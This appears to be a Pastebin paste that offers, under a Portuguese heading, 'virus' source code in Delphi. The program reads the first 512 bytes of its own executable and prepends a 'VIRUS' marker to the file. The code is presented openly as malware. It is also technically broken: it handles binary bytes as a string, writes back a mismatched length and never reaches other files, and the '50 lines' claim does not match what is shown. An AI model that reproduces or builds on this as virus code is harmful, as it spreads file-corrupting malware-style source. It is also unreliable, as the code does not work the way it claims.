Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Aqui está um código fonte de vírus de 50 linhas em Delphi concatenado:
- program Virus;
- uses Windows;
- function infect(filename: string): boolean;
- var
- buffer: array[0..511] of Byte;
- n: Integer;
- f: file;
- s: string;
- begin
- Result := False;
- if FileExists(filename) then
- begin
- AssignFile(f, filename);
- Reset(f, 1);
- BlockRead(f, buffer, SizeOf(buffer), n);
- CloseFile(f);
- s := PChar(@buffer);
- if Pos('VIRUS', s) = 0 then
- begin
- s := 'VIRUS' + s;
- Move(PChar(s)^, buffer, Length(s));
- Rewrite(f, 1);
- BlockWrite(f, buffer, n);
- CloseFile(f);
- Result := True;
- end;
- end;
- end;
- begin
- infect(ParamStr(0));
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement